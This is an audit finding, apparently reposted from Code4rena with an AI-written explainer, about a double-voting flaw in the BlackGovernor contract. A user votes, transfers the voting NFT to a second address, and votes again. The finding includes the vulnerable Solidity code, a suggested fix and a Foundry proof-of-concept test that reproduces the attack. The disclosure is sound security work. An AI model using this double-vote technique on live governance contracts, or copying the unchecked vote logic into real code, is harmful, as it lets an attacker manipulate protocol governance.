Users can cast their votes multiple times for the proposal by transferring their nfts and then voting again
The governor contract did not check whether the NFT used for voting had been transferred after the vote, so a user could vote, transfer the NFT to another address they control, and vote again. This allowed repeated voting and could disrupt the voting process.
Originally disclosed on Code4rena
Submitted by hakunamatata
https://github.com/code-423n4/2025-05-blackhole/blob/main/contracts/VotingEscrow.sol#L1263-L1279
Finding description and impact
In the BlackGovernor contract users can cast their vote on the proposal. The requirements to cast the vote are that proposal has to be active, and the msg.sender has not voted on the proposal. The voting power is determined by the balance of it’s smNFT locked position at the time of voteStart.
This introduces serious vulnerability where users can cast their vote at voteStart timestamp, immediately send their nft using transferFrom to another address which they control and castVote again. Malicious users can repeat this process they run out of gas.
One of the reasons that this issue persists is that the code does not utilize ownership change mapping inside the VotingEscrow contract. Because it’s so easy to castVote send to another address (which would be contract) and castVote again, leading to complete disruption of voting process, I believe it is High Severity finding.
This is code snippet of castVote function that shows that there is no verification whether particular nft has been used to vote.
function _castVote(
uint256 proposalId,
address account,
uint8 support,
string memory reason,
bytes memory params
) internal virtual returns (uint256) {
ProposalCore storage proposal = _proposals[proposalId];
require(
state(proposalId) == ProposalState.Active,
"Governor: vote not currently active"
);
uint256 weight = _getVotes(
account,
proposal.voteStart.getDeadline(),
params
);
_countVote(proposalId, account, support, weight, params);
if (params.length == 0) {
emit VoteCast(account, proposalId, support, weight, reason);
} else {
emit VoteCastWithParams(
account,
proposalId,
support,
weight,
reason,
params
);
}
return weight;
}
Recommended mitigation steps
Perform a check just like in VotingEscrow::balanceOfNFT whether ownership was changed in the current block number.
Proof of Concept
This POC is written in foundry, in order to run it, one has to create foundry project, download dependencies, create remappings and change imports in some of the file to look inside the “src” folder
The POC is the simple version of the finding, in order to run it one has to first change the code of the Governor, so that other vulnerability in the code is fixed, as without that change proposals DO NOT WORK. Look at the getVotes inside the BlackGovernor incorrectly provides block.number instead of block.timestamp, leading to complete DOS of proposal functionality finding.
This POC is not perfect, as it utilizes also vulnerability found in getsmNFTPastVotes (finding that if provided timestamp to the function is smaller than the timestamp of the first checkpoint, function evaluates tokenIds from the first checkpoint) that is also submitted. However, if one would create a contract that casts a vote at voteStart timestamp, transfers NFT to another attacker controlled smart contract, the outcome will be the same.
pragma solidity ^0.8.13;
import {Test, console} from "forge-std/Test.sol";
import {Black} from "../src/Black.sol";
import {MinterUpgradeable} from "../src/MinterUpgradeable.sol";
import {RewardsDistributor} from "../src/RewardsDistributor.sol";
import {PermissionsRegistry} from "../src/PermissionsRegistry.sol";
import {TokenHandler} from "../src/TokenHandler.sol";
import {VoterV3} from "../src/VoterV3.sol";
import {VotingEscrow} from "../src/VotingEscrow.sol";
import {AutoVotingEscrowManager} from "../src/AVM/AutoVotingEscrowManager.sol";
import {GaugeManager} from "../src/GaugeManager.sol";
import {PairGenerator} from "../src/PairGenerator.sol";
import {GaugeFactory} from "../src/factories/GaugeFactory.sol";
import {PairFactory} from "../src/factories/PairFactory.sol";
import {GaugeFactoryCL} from "../src/AlgebraCLVe33/GaugeFactoryCL.sol";
import {BlackGovernor} from "../src/BlackGovernor.sol";
import {IBlackHoleVotes} from "../src/interfaces/IBlackHoleVotes.sol";
import {IMinter} from "../src/interfaces/IMinter.sol";
contract DoubleVoteTest is Test {
Black public black;
RewardsDistributor public rewardsDistributor;
MinterUpgradeable public minterUpgradeable;
PermissionsRegistry public permissionsRegistry;
TokenHandler public tokenHandler;
AutoVotingEscrowManager public avm;
VotingEscrow public votingEscrow;
VoterV3 public voter;
GaugeManager public gaugeManager;
GaugeFactory public gaugeFactory;
PairGenerator public pairGenerator;
PairFactory public pairFactory_1;
PairFactory public pairFactory_2CL;
GaugeFactoryCL public gaugeFactoryCL;
BlackGovernor public blackGovernor;
address admin = address(0xAD);
address protocol = address(0x1);
address userA = address(0xA);
address userB = address(0xB);
function setUp() public {
vm.startPrank(admin);
black = new Black();
permissionsRegistry = new PermissionsRegistry();
string memory GARole = string(bytes("GAUGE_ADMIN"));
permissionsRegistry.setRoleFor(admin, GARole);
tokenHandler = new TokenHandler(address(permissionsRegistry));
voter = new VoterV3();//needs to be initialized
avm = new AutoVotingEscrowManager();//needs to be initialized
votingEscrow = new VotingEscrow(address(black), address(0), address(avm));
rewardsDistributor = new RewardsDistributor(address(votingEscrow));
gaugeFactoryCL = new GaugeFactoryCL();
gaugeFactoryCL.initialize(address(permissionsRegistry));
gaugeFactory = new GaugeFactory();
pairGenerator = new PairGenerator();
pairFactory_1 = new PairFactory();
pairFactory_1.initialize(address(pairGenerator));
pairFactory_2CL = new PairFactory();
pairFactory_2CL.initialize(address(pairGenerator));
gaugeManager = new GaugeManager();
gaugeManager.initialize(address(votingEscrow), address(tokenHandler),address( gaugeFactory),address( gaugeFactoryCL), address(pairFactory_1), address(pairFactory_2CL), address(permissionsRegistry));
avm.initialize(address(votingEscrow),address(voter), address(rewardsDistributor));
minterUpgradeable = new MinterUpgradeable();
minterUpgradeable.initialize(address(gaugeManager), address(votingEscrow), address(rewardsDistributor));
blackGovernor = new BlackGovernor(IBlackHoleVotes(votingEscrow), address(minterUpgradeable));
gaugeManager.setBlackGovernor(address(blackGovernor));
voter = new VoterV3();
voter.initialize(address(votingEscrow), address(tokenHandler), address(gaugeManager), address(permissionsRegistry));
rewardsDistributor.setDepositor(address(minterUpgradeable));
gaugeManager.setVoter(address(voter));
gaugeManager.setMinter(address(minterUpgradeable));
black.mint(admin, 10_000_000e18);
black.setMinter(address(minterUpgradeable));
vm.stopPrank();
}
function test_doubleSpendCastVote() public {
vm.startPrank(admin);
address[] memory claimants;
uint[] memory amounts;
minterUpgradeable._initialize(claimants, amounts, 0);//zero % ownership of top protcols
uint userABal = 1_000_000e18;
black.transfer(userA, userABal);
vm.stopPrank();
vm.startPrank(userA);
black.approve(address(votingEscrow), type(uint).max);
votingEscrow.create_lock(1_000_000e18, 4 * 365 days, true);
skip(3600);
address[] memory targets = new address[](1);
uint256[] memory values = new uint256[](1);
bytes[] memory calldatas = new bytes[](1);
targets[0] = address(minterUpgradeable);
values[0] = 0;
calldatas[0] = abi.encodeWithSelector(IMinter.nudge.selector);
uint proposalId = blackGovernor.propose(
targets,
values,
calldatas,
"Nudge proposal"
);
skip(blackGovernor.votingDelay() +1);
blackGovernor.castVote(proposalId, 1);
(
uint256 againstVotes,
uint256 forVotes,
uint256 abstainVotes
)= blackGovernor.proposalVotes(proposalId);
console.log("Against Votes: ", againstVotes);
console.log("For Votes: ", forVotes);
console.log("Abstain Votes: ", abstainVotes);
votingEscrow.transferFrom(userA, userB, 1);
vm.stopPrank();
vm.startPrank(userB);
blackGovernor.castVote(proposalId, 1);
(
uint256 againstVotes2,
uint256 forVotes2,
uint256 abstainVotes2
)= blackGovernor.proposalVotes(proposalId);
console.log("Against Votes: ", againstVotes2);
console.log("For Votes: ", forVotes2);
console.log("Abstain Votes: ", abstainVotes2);
}
}
Status: Mitigation confirmed. Full details in reports from rayss, lonelybones and maxvzuvex.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the governor's vote function did not verify whether the NFT had been transferred or already used for voting, relying only on the caller's address.
Impact
An attacker could cast multiple votes with the same NFT, potentially disrupting the voting process; the report claims this is high severity.
What the attacker needed
Own a voting NFT; proposal is active; control multiple addresses
The fix
The governor should check whether the NFT's ownership changed in the current block, similar to the check in VotingEscrow::balanceOfNFT.
How it was found
- Create a lock to obtain a voting NFT.
- Create a proposal and wait until voting starts.
- Cast a vote with the NFT.
- Transfer the NFT to another address controlled by the attacker.
- Cast another vote from the new address using the same NFT.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
In this system, voting power comes from owning a special NFT that represents locked tokens. The contract only checked that the current address had not voted, not that the NFT itself had already been used to vote. So someone could vote, send the NFT to a second address they own, and vote again with the same NFT.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.